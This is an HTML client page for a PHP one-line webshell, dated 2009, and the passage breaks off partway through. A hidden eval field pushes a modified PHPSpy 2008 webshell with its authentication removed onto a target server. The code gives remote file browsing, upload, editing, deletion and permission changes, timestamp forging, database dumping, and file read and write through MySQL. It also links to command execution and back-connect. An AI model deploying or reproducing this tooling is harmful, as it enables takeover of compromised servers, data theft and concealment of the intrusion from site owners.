<!-- Author:zerosoul(零魂)    Build @ 2009.10.18    Blog:http://hi.baidu.com/0soul -->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>零魂PHP一句话木马客户端(一键提交版) v0.2 - Powered By zerosoul(零魂)</title>
</head>
<style>
BODY {  FONT-SIZE: 9pt;	COLOR: #000000;	FONT-FAMILY: "Courier New";	scrollbar-face-color:#E4E4F3;	scrollbar-highlight-color:#FFFFFF;	scrollbar-3dlight-color:#E4E4F3;	scrollbar-darkshadow-color:#9C9CD3;	scrollbar-shadow-color:#E4E4F3;	scrollbar-arrow-color:#4444B3;	scrollbar-track-color:#EFEFEF;}TABLE {	FONT-SIZE: 9pt;	FONT-FAMILY: "Courier New";	BORDER-COLLAPSE: collapse;	border-top-width: 1px;	border-right-width: 1px;	border-bottom-width: 1px;	border-left-width: 1px;	border-top-style: solid;	border-right-style: none;	border-bottom-style: none;	border-left-style: solid;	border-top-color: #d8d8f0;	border-right-color: #d8d8f0;	border-bottom-color: #d8d8f0;	border-left-color: #d8d8f0;}.tr {	font-family: "Courier New";	font-size: 9pt;	background-color: #e4e4f3;	text-align: center;}.td {	font-family: "Courier New";	font-size: 9pt;	background-color: #f9f9fd;}.warningColor {	font-family: "Courier New";	font-size: 9pt;	color: #ff0000;}input {	font-family: "Courier New";	BORDER-TOP-WIDTH: 1px;	BORDER-LEFT-WIDTH: 1px;	FONT-SIZE: 12px;	BORDER-BOTTOM-WIDTH: 1px;BORDER-RIGHT-WIDTH: 1px;	color: #000000;}textarea {	font-family: "Courier New";	BORDER-TOP-WIDTH: 1px;	BORDER-LEFT-WIDTH: 1px;	FONT-SIZE: 12px;	BORDER-BOTTOM-WIDTH: 1px;	BORDER-RIGHT-WIDTH: 1px;	color: #000000;}A:link {	FONT-SIZE: 9pt; 	COLOR: #000000;	FONT-FAMILY: "Courier New"; 	TEXT-DECORATION: none;}tr {	font-family: "Courier New";	font-size: 9pt;	line-height: 18px;}td {	font-family: "Courier New";	font-size: 9pt;	border-top-width: 1px;	border-right-width: 1px;	border-bottom-width: 1px;	border-left-width: 1px;	border-top-style: none;	border-right-style: solid;	border-bottom-style: solid;	border-left-style: none;	border-top-color: #d8d8f0;	border-right-color: #d8d8f0;	border-bottom-color: #d8d8f0;	border-left-color: #d8d8f0;}.trHead {	font-family: "Courier New";	font-size: 9pt;	background-color: #e4e4f3;	line-height: 3px;}.inputLogin {	font-family: "Courier New";	font-size: 9pt;	border: 1px solid #d8d8f0;	background-color: #f9f9fd;	vertical-align: bottom;}
.STYLE5 {font-family: Arial, Helvetica, sans-serif; font-size: 11pt;}
</style>

<body>
<table width="780" border="0" align="center" cellpadding="0" cellspacing="0">
<form method="post" target="_blank">
<tr>
<td height="22" class="td" align="center" >&nbsp;<span class="STYLE5">零魂PHP一句话木马客户端(一键提交版) v0.2</span> </td>
</tr>
<tr>
<td class="trHead">&nbsp;</td>
</tr>
<td align="center" class="td">&nbsp;</td>
<tr>
<td height="18" align="center" class="td">&nbsp;
URL: 
  <input name="theAction" type="text" id="theAction" value="http://" size="50">
  PASS: 
  <input name="password" type="password" id="password" size="6" value="c"> 
  <input type="submit" name="Submit3" value="Submit" onClick="this.form.c.name=this.form.password.value;this.form.action=this.form.theAction.value;">
  </td>
</tr>
<tr>
<td height="494" align="center" class="td">
<input type=hidden name="c" value="session_start();$_SESSION[chr(99)]=get_magic_quotes_gpc()?stripslashes($_POST[chr(100)]):$_POST[chr(100)];eval($_SESSION[chr(99)]);">
<textarea name="d" cols="85" rows="30">

//提交的PHP代码，默认是PHPSPY2008，没有密码验证，提交后直接进入

error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0 );
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);

foreach(array('_GET','_POST') as $_request) {
	foreach($$_request as $_key =&gt; $_value) {
		if ($_key{0} != '_') {
			if (IS_GPC) {
				$_value = s_array($_value);
			}
			$$_key = $_value;
		}
	}
}

/*===================== 程序配置 =====================*/
$admin = array();
// 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
$admin['check'] = false;

//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
// cookie 前缀
$admin['cookiepre'] = '';
// cookie 作用域
$admin['cookiedomain'] = '';
// cookie 作用路径
$admin['cookiepath'] = '/';
// cookie 有效期
$admin['cookielife'] = 86400;
/*===================== 配置结束 =====================*/

if ($charset == 'utf8') {
	header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
	header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
	header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
	header("content-Type: text/html; charset=iso-8859-2");
}

$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();

/*===================== 身份验证 =====================*/
//退出时清除掉Session
if ($action == "logout") {
  unset($_SESSION[chr(99)]);
  p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
	p('<a style="font:12px Verdana" href="'.$self.'">Logout Successful!</a>');
	exit;
}
if($admin['check']) {
//不需要验证，所以去掉了验证代码
}
/*===================== 验证结束 =====================*/

$errmsg = '';

// 查看PHPINFO
if ($action == 'phpinfo') {
	if (IS_PHPINFO) {
		phpinfo();
	} else {
		$errmsg = 'phpinfo() function has non-permissible';
	}
}

// 下载文件
if ($doing == 'downfile' &amp;&amp; $thefile) {
	if (!@file_exists($thefile)) {
		$errmsg = 'The file you want Downloadable was nonexistent';
	} else {
		$fileinfo = pathinfo($thefile);
		header('Content-type: application/x-'.$fileinfo['extension']);
		header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
		header('Content-Length: '.filesize($thefile));
		@readfile($thefile);
		exit;
	}
}

// 直接下载备份数据库
if ($doing == 'backupmysql' &amp;&amp; !$saveasfile) {
	dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
	$table = array_flip($table);
	$result = q("SHOW tables");
	if (!$result) p('&lt;h2&gt;'.mysql_error().'&lt;/h2&gt;');
	$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
	header('Content-type: application/unknown');
	header('Content-Disposition: attachment; filename='.$filename);
	$mysqldata = '';
	while ($currow = mysql_fetch_array($result)) {
		if (isset($table[$currow[0]])) {
			$mysqldata .= sqldumptable($currow[0]);
		}
	}
	mysql_close();
	exit;
}

// 通过MYSQL下载文件
if($doing=='mysqldown'){
	if (!$dbname) {
		$errmsg = 'Please input dbname';
	} else {
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
		if (!file_exists($mysqldlfile)) {
			$errmsg = 'The file you want Downloadable was nonexistent';
		} else {
			$result = q("select load_file('$mysqldlfile');");
			if(!$result){
				q("DROP TABLE IF EXISTS tmp_angel;");
				q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
				//用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
				q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
				$result = q("select content from tmp_angel");
				q("DROP TABLE tmp_angel");
			}
			$row = @mysql_fetch_array($result);
			if (!$row) {
				$errmsg = 'Load file failed '.mysql_error();
			} else {
				$fileinfo = pathinfo($mysqldlfile);
				header('Content-type: application/x-'.$fileinfo['extension']);
				header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
				header("Accept-Length: ".strlen($row[0]));
				echo $row[0];
				exit;
			}
		}
	}
}

?&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv="Content-Type" content="text/html; charset=gbk"&gt;
&lt;title&gt;&lt;?php echo str_replace('.','','P.h.p.S.p.y');?&gt;&lt;/title&gt;
&lt;style type="text/css"&gt;
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
&lt;/style&gt;
&lt;script type="text/javascript"&gt;
function CheckAll(form) {
	for(var i=0;i&lt;form.elements.length;i++) {
		var e = form.elements[i];
		if (e.name != 'chkall')
		e.checked = form.chkall.checked;
    }
}
function $(id) {
	return document.getElementById(id);
}
function goaction(act){
	$('goaction').action.value=act;
	$('goaction').submit();
}
&lt;/script&gt;
&lt;/head&gt;

&lt;body style="margin:0;table-layout:fixed; word-break:break-all"&gt;
&lt;table width="100%" border="0" cellpadding="0" cellspacing="0"&gt;
	&lt;tr class="head"&gt;
		&lt;td&gt;&lt;span style="float:right;"&gt;&lt;a href="http://www.4ngel.net" target="_blank"&gt;&lt;?php echo str_replace('.','','P.h.p.S.p.y');?&gt; Ver: 2008&lt;/a&gt;&lt;/span&gt;&lt;?php echo $_SERVER['HTTP_HOST'];?&gt; (&lt;?php echo gethostbyname($_SERVER['SERVER_NAME']);?&gt;)&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr class="alt1"&gt;
		&lt;td&gt;&lt;span style="float:right;"&gt;Safe Mode:&lt;?php echo getcfg('safe_mode');?&gt;&lt;/span&gt;
			&lt;a href="javascript:goaction('logout');"&gt;Logout&lt;/a&gt; | 
			&lt;a href="javascript:goaction('file');"&gt;File Manager&lt;/a&gt; | 
			&lt;a href="javascript:goaction('sqladmin');"&gt;MySQL Manager&lt;/a&gt; | 
			&lt;a href="javascript:goaction('sqlfile');"&gt;MySQL Upload &amp;amp; Download&lt;/a&gt; | 
			&lt;a href="javascript:goaction('shell');"&gt;Execute Command&lt;/a&gt; | 
			&lt;a href="javascript:goaction('phpenv');"&gt;PHP Variable&lt;/a&gt; | 
			&lt;a href="javascript:goaction('eval');"&gt;Eval PHP Code&lt;/a&gt;
			&lt;?php if (!IS_WIN) {?&gt; | &lt;a href="javascript:goaction('backconnect');"&gt;Back Connect&lt;/a&gt;&lt;?php }?&gt;
		&lt;/td&gt;
	&lt;/tr&gt;
&lt;/table&gt;
&lt;table width="100%" border="0" cellpadding="15" cellspacing="0"&gt;&lt;tr&gt;&lt;td&gt;
&lt;?php

formhead(array('name'=&gt;'goaction'));
makehide('action');
formfoot();

$errmsg &amp;&amp; m($errmsg);

// 获取当前路径
!$dir &amp;&amp; $dir = '.';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
	$dir = $dir.'/';
}
$uedir = ue($dir);

if (!$action || $action == 'file') {

	// 判断读写情况
	$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';

	// 删除目录
	if ($doing == 'deldir' &amp;&amp; $thefile) {
		if (!file_exists($thefile)) {
			m($thefile.' directory does not exist');
		} else {
			m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
		}
	}

	// 创建目录
	elseif ($newdirname) {
		$mkdirs = $nowpath.$newdirname;
		if (file_exists($mkdirs)) {
			m('Directory has already existed');
		} else {
			m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
			@chmod($mkdirs,0777);
		}
	}

	// 上传文件
	elseif ($doupfile) {
		m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
	}

	// 编辑文件
	elseif ($editfilename &amp;&amp; $filecontent) {
		$fp = @fopen($editfilename,'w');
		m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
		@fclose($fp);
	}

	// 编辑文件属性
	elseif ($pfile &amp;&amp; $newperm) {
		if (!file_exists($pfile)) {
			m('The original file does not exist');
		} else {
			$newperm = base_convert($newperm,8,10);
			m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
		}
	}

	// 改名
	elseif ($oldname &amp;&amp; $newfilename) {
		$nname = $nowpath.$newfilename;
		if (file_exists($nname) || !file_exists($oldname)) {
			m($nname.' has already existed or original file does not exist');
		} else {
			m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
		}
	}

	// 复制文件
	elseif ($sname &amp;&amp; $tofile) {
		if (file_exists($tofile) || !file_exists($sname)) {
			m('The goal file has already existed or original file does not exist');
		} else {
			m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
		}
	}

	// 克隆时间
	elseif ($curfile &amp;&amp; $tarfile) {
		if (!@file_exists($curfile) || !@file_exists($tarfile)) {
			m('The goal file has already existed or original file does not exist');
		} else {
			$time = @filemtime($tarfile);
			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
		}
	}

	// 自定义时间
	elseif ($curfile &amp;&amp; $year &amp;&amp; $month &amp;&amp; $day &amp;&amp; $hour &amp;&amp; $minute &amp;&amp; $second) {
		if (!@file_exists($curfile)) {
			m(basename($curfile).' does not exist');
		} else {
			$time = strtotime("$year-$month-$day $hour:$minute:$second");
			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
		}
	}

	// 打包下载
	elseif($doing == 'downrar') {
		if ($dl) {
			$dfiles='';
			foreach ($dl as $filepath =&gt; $value) {
				$dfiles.=$filepath.',';
			}
			$dfiles=substr($dfiles,0,strlen($dfiles)-1);
			$dl=explode(',',$dfiles);
			$zip=new PHPZip($dl);
			$code=$zip-&gt;out;
			header('Content-type: application/octet-stream');
			header('Accept-Ranges: bytes');
			header('Accept-Length: '.strlen($code));
			header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
			echo $code;
			exit;
		} else {
			m('Please select file(s)');
		}
	}

	// 批量删除文件
	elseif($doing == 'delfiles') {
		if ($dl) {
			$dfiles='';
			$succ = $fail = 0;
			foreach ($dl as $filepath =&gt; $value) {
				if (@unlink($filepath)) {
					$succ++;
				} else {
					$fail++;
				}
			}
			m('Deleted file have finished，choose '.count($dl).' success '.$succ.' fail '.$fail);
		} else {
			m('Please select file(s)');
		}
	}

	//操作完毕
	formhead(array('name'=&gt;'createdir'));
	makehide('newdirname');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=&gt;'fileperm'));
	makehide('newperm');
	makehide('pfile');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=&gt;'copyfile'));
	makehide('sname');
	makehide('tofile');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=&gt;'rename'));
	makehide('oldname');
	makehide('newfilename');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=&gt;'fileopform'));
	makehide('action');
	makehide('opfile');
	makehide('dir');
	formfoot();

	$free = @disk_free_space($nowpath);
	!$free &amp;&amp; $free = 0;
	$all = @disk_total_space($nowpath);
	!$all &amp;&amp; $all = 0;
	$used = $all-$free;
	$used_percent = @round(100/($all/$free),2);
	p('&lt;h2&gt;File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)&lt;/h2&gt;');

?&gt;
&lt;table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;"&gt;
  &lt;form action="" method="post" id="godir" name="godir"&gt;&lt;input type=hidden name=c value="session_start();eval($_SESSION[chr(99)]);"&gt;
  &lt;tr&gt;
    &lt;td nowrap&gt;Current Directory (&lt;?php echo $dir_writeable;?&gt;, &lt;?php echo getChmod($nowpath);?&gt;)&lt;/td&gt;
	&lt;td width="100%"&gt;&lt;input name="view_writable" value="0" type="hidden" /&gt;&lt;input class="input" name="dir" value="&lt;?php echo $nowpath;?&gt;" type="text" style="width:100%;margin:0 8px;"&gt;&lt;/td&gt;
    &lt;td nowrap&gt;&lt;input class="bt" value="GO" type="submit"&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;/form&gt;
&lt;/table&gt;
&lt;script type="text/javascript"&gt;
function createdir(){
	var newdirname;
	newdirname = prompt('Please input the directory name:', '');
	if (!newdirname) return;
	$('createdir').newdirname.value=newdirname;
	$('createdir').submit();
}
function fileperm(pfile){
	var newperm;
	newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
	if (!newperm) return;
	$('fileperm').newperm.value=newperm;
	$('fileperm').pfile.value=pfile;
	$('fileperm').submit();
}
function copyfile(sname){
	var tofile;
	tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
	if (!tofile) return;
	$('copyfile').tofile.value=tofile;
	$('copyfile').sname.value=sname;
	$('copyfile').submit();
}
function rename(oldname){
	var newfilename;
	newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
	if (!newfilename) return;
	$('rename').newfilename.value=newfilename;
	$('rename').oldname.value=oldname;
	$('rename').submit();
}
function dofile(doing,thefile,m){
	if (m &amp;&amp; !confirm(m)) {
		return;
	}
	$('filelist').doing.value=doing;
	if (thefile){
		$('filelist').thefile.value=thefile;
	}
	$('filelist').submit();
}
function createfile(nowpath){
	var filename;
	filename = prompt('Please input the file name:', '');
	if (!filename) return;
	opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
	$('fileopform').action.value=action;
	$('fileopform').opfile.value=opfile;
	$('fileopform').dir.value=dir;
	$('fileopform').submit();
}
function godir(dir,view_writable){
	if (view_writable) {
		$('godir').view_writable.value=1;
	}
	$('godir').dir.value=dir;
	$('godir').submit();
}
&lt;/script&gt;
  &lt;?php
	tbhead();
	p('&lt;form action="'.$self.'" method="POST" enctype="multipart/form-data"&gt;&lt;input type=hidden name=c value="session_start();eval($_SESSION[chr(99)]);"&gt;&lt;tr class="alt1"&gt;&lt;td colspan="7" style="padding:5px;"&gt;');
	p('&lt;div style="float:right;"&gt;&lt;input class="input" name="uploadfile" value="" type="file" /&gt; &lt;input class="bt" name="doupfile" value="Upload" type="submit" /&gt;&lt;input name="uploaddir" value="'.$dir.'" type="hidden" /&gt;&lt;input name="dir" value="'.$dir.'" type="hidden" /&gt;&lt;/div&gt;');
	p('&lt;a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');"&gt;WebRoot&lt;/a&gt;');
	if ($view_writable) {
		p(' | &lt;a href="javascript:godir(\''.$nowpath.'\');"&gt;View All&lt;/a&gt;');
	} else {
		p(' | &lt;a href="javascript:godir(\''.$nowpath.'\',\'1\');"&gt;View Writable&lt;/a&gt;');
	}
	p(' | &lt;a href="javascript:createdir();"&gt;Create Directory&lt;/a&gt; | &lt;a href="javascript:createfile(\''.$nowpath.'\');"&gt;Create File&lt;/a&gt;');
	if (IS_WIN &amp;&amp; IS_COM) {
		$obj = new COM('scripting.filesystemobject');
		if ($obj &amp;&amp; is_object($obj)) {
			$DriveTypeDB = array(0 =&gt; 'Unknow',1 =&gt; 'Removable',2 =&gt; 'Fixed',3 =&gt; 'Network',4 =&gt; 'CDRom',5 =&gt; 'RAM Disk');
			foreach($obj-&gt;Drives as $drive) {
				if ($drive-&gt;DriveType == 2) {
					p(' | &lt;a href="javascript:godir(\''.$drive-&gt;Path.'/\');" title="Size:'.sizecount($drive-&gt;TotalSize).'&amp;#13;Free:'.sizecount($drive-&gt;FreeSpace).'&amp;#13;Type:'.$DriveTypeDB[$drive-&gt;DriveType].'"&gt;'.$DriveTypeDB[$drive-&gt;DriveType].'('.$drive-&gt;Path.')&lt;/a&gt;');
				} else {
					p(' | &lt;a href="javascript:godir(\''.$drive-&gt;Path.'/\');" title="Type:'.$DriveTypeDB[$drive-&gt;DriveType].'"&gt;'.$DriveTypeDB[$drive-&gt;DriveType].'('.$drive-&gt;Path.')&lt;/a&gt;');
				}
			}
		}
	}

	p('&lt;/td&gt;&lt;/tr&gt;&lt;/form&gt;');

	p('&lt;tr class="head"&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;Filename&lt;/td&gt;&lt;td width="16%"&gt;Last modified&lt;/td&gt;&lt;td width="10%"&gt;Size&lt;/td&gt;&lt;td width="20%"&gt;Chmod / Perms&lt;/td&gt;&lt;td width="22%"&gt;Action&lt;/td&gt;&lt;/tr&gt;');

	//查看所有可写文件和目录
	$dirdata=array();
	$filedata=array();

	if ($view_writable) {
		$dirdata = GetList($nowpath);
	} else {
		// 目录列表
		$dirs=@opendir($dir);
		while ($file=@readdir($dirs)) {
			$filepath=$nowpath.$file;
			if(@is_dir($filepath)){
				$dirdb['filename']=$file;
				$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
				$dirdb['dirchmod']=getChmod($filepath);
				$dirdb['dirperm']=getPerms($filepath);
				$dirdb['fileowner']=getUser($filepath);
				$dirdb['dirlink']=$nowpath;
				$dirdb['server_link']=$filepath;
				$dirdb['client_link']=ue($filepath);
				$dirdata[]=$dirdb;
			} else {		
				$filedb['filename']=$file;
				$filedb['size']=sizecount(@filesize($filepath));
				$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
				$filedb['filechmod']=getChmod($filepath);
				$filedb['fileperm']=getPerms($filepath);
				$filedb['fileowner']=getUser($filepath);
				$filedb['dirlink']=$nowpath;
				$filedb['server_link']=$filepath;
				$filedb['client_link']=ue($filepath);
				$filedata[]=$filedb;
			}
		}// while
		unset($dirdb);
		unset($filedb);
		@closedir($dirs);
	}
	@sort($dirdata);
	@sort($filedata);
	$dir_i = '0';
	foreach($dirdata as $key =&gt; $dirdb){
		if($dirdb['filename']!='..' &amp;&amp; $dirdb['filename']!='.') {
			$thisbg = bg();
			p('&lt;tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';"&gt;');
			p('&lt;td width="2%" nowrap&gt;&lt;font face="wingdings" size="3"&gt;0&lt;/font&gt;&lt;/td&gt;');
			p('&lt;td&gt;&lt;a href="javascript:godir(\''.$dirdb['server_link'].'\');"&gt;'.$dirdb['filename'].'&lt;/a&gt;&lt;/td&gt;');
			p('&lt;td nowrap&gt;'.$dirdb['mtime'].'&lt;/td&gt;');
			p('&lt;td nowrap&gt;--&lt;/td&gt;');
			p('&lt;td nowrap&gt;');
			p('&lt;a href="javascript:fileperm(\''.$dirdb['server_link'].'\');"&gt;'.$dirdb['dirchmod'].'&lt;/a&gt; / ');
			p('&lt;a href="javascript:fileperm(\''.$dirdb['server_link'].'\');"&gt;'.$dirdb['dirperm'].'&lt;/a&gt;'.$dirdb['fileowner'].'&lt;/td&gt;');
			p('&lt;td nowrap&gt;&lt;a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')"&gt;Del&lt;/a&gt; | &lt;a href="javascript:rename(\''.$dirdb['server_link'].'\');"&gt;Rename&lt;/a&gt;&lt;/td&gt;');
			p('&lt;/tr&gt;');
			$dir_i++;
		} else {
			if($dirdb['filename']=='..') {
				p('&lt;tr class='.bg().'&gt;');
				p('&lt;td align="center"&gt;&lt;font face="Wingdings 3" size=4&gt;=&lt;/font&gt;&lt;/td&gt;&lt;td nowrap colspan="5"&gt;&lt;a href="javascript:godir(\''.getUpPath($nowpath).'\');"&gt;Parent Directory&lt;/a&gt;&lt;/td&gt;');
				p('&lt;/tr&gt;');
			}
		}
	}

	p('&lt;tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"&gt;&lt;td colspan="6" height="5"&gt;&lt;/td&gt;&lt;/tr&gt;');
	p('&lt;form id="filelist" name="filelist" action="'.$self.'" method="post"&gt;');
	p('&lt;input type=hidden name=c value="session_start();eval($_SESSION[chr(99)]);"&gt;');
	makehide('action','file');
	makehide('thefile');
	makehide('doing');
	makehide('dir',$nowpath);
	$file_i = '0';
	foreach($filedata as $key =&gt; $filedb){
		if($filedb['filename']!='..' &amp;&amp; $filedb['filename']!='.') {
			$fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
			$thisbg = bg();
			p('&lt;tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';"&gt;');
			p('&lt;td width="2%" nowrap&gt;&lt;input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"&gt;&lt;/td&gt;');
			p('&lt;td&gt;&lt;a href="'.$fileurl.'" target="_blank"&gt;'.$filedb['filename'].'&lt;/a&gt;&lt;/td&gt;');
			p('&lt;td nowrap&gt;'.$filedb['mtime'].'&lt;/td&gt;');
			p('&lt;td nowrap&gt;'.$filedb['size'].'&lt;/td&gt;');
			p('&lt;td nowrap&gt;');
			p('&lt;a href="javascript:fileperm(\''.$filedb['server_link'].'\');"&gt;'.$filedb['filechmod'].'&lt;/a&gt; / ');
			p('&lt;a href="javascript:fileperm(\''.$filedb['server_link'].'\');"&gt;'.$filedb['fileperm'].'&lt;/a&gt;'.$filedb['fileowner'].'&lt;/td&gt;');
			p('&lt;td nowrap&gt;');
			p('&lt;a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');"&gt;Down&lt;/a&gt; | ');
			p('&lt;a href="javascript:copyfile(\''.$filedb['server_link'].'\');"&gt;Copy&lt;/a&gt; | ');
			p('&lt;a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');"&gt;Edit&lt;/a&gt; | ');
			p('&lt;a href="javascript:rename(\''.$filedb['server_link'].'\');"&gt;Rename&lt;/a&gt; | ');
			p('&lt;a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');"&gt;Time&lt;/a&gt;');
			p('&lt;/td&gt;&lt;/tr&gt;');
			$file_i++;
		}
	}
	p('&lt;tr class="'.bg().'"&gt;&lt;td align="center"&gt;&lt;input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="javascript:dofile(\'downrar\');"&gt;Packing download selected&lt;/a&gt; - &lt;a href="javascript:dofile(\'delfiles\');"&gt;Delete selected&lt;/a&gt;&lt;/td&gt;&lt;td colspan="4" align="right"&gt;'.$dir_i.' directories / '.$file_i.' files&lt;/td&gt;&lt;/tr&gt;');
	p('&lt;/form&gt;&lt;/table&gt;');
}// end dir

elseif ($action == 'sqlfile') {
	if($doing=="mysqlupload"){
		$file = $_FILES['uploadfile'];
		$filename = $file['tmp_name'];
		if (file_exists($savepath)) {
			m('The goal file has already existed');
		} else {
			if(!$filename) {
				m('Please choose a file');
			} else {
				$fp=@fopen($filename,'r');
				$contents=@fread($fp, filesize($filename));
				@fclose($fp);
				$contents = bin2hex($contents);
				if(!$upname) $upname = $file['name'];
				dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
				$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
				m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
			}
		}
	}
?&gt;
&lt;script type="text/javascript"&gt;
function mysqlfile(doing){
	if(!doing) return;
	$('doing').value=doing;
	$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
	$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
	$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
	$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
	$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
	$('mysqlfile').charset.value=$('dbinfo').charset.value;
	$('mysqlfile').submit();
}
&lt;/script&gt;
&lt;?php
	!$dbhost &amp;&amp; $dbhost = 'localhost';
	!$dbuser &amp;&amp; $dbuser = 'root';
	!$dbport &amp;&amp; $dbport = '3306';
	$charsets = array(''=&gt;'Default','gbk'=&gt;'GBK', 'big5'=&gt;'Big5', 'utf8'=&gt;'UTF-8', 'latin1'=&gt;'Latin1');
	formhead(array('title'=&gt;'MYSQL Information','name'=&gt;'dbinfo'));
	makehide('action','sqlfile');
	p('&lt;p&gt;');
	p('DBHost:');
	makeinput(array('name'=&gt;'dbhost','size'=&gt;20,'value'=&gt;$dbhost));
	p(':');
	makeinput(array('name'=&gt;'dbport','size'=&gt;4,'value'=&gt;$dbport));
	p('DBUser:');
	makeinput(array('name'=&gt;'dbuser','size'=&gt;15,'value'=&gt;$dbuser));
	p('DBPass:');
	makeinput(array('name'=&gt;'dbpass','size'=&gt;15,'value'=&gt;$dbpass));
	p('DBName:');
	makeinput(array('name'=&gt;'dbname','size'=&gt;15,'value'=&gt;$dbname));
	p('DBCharset:');
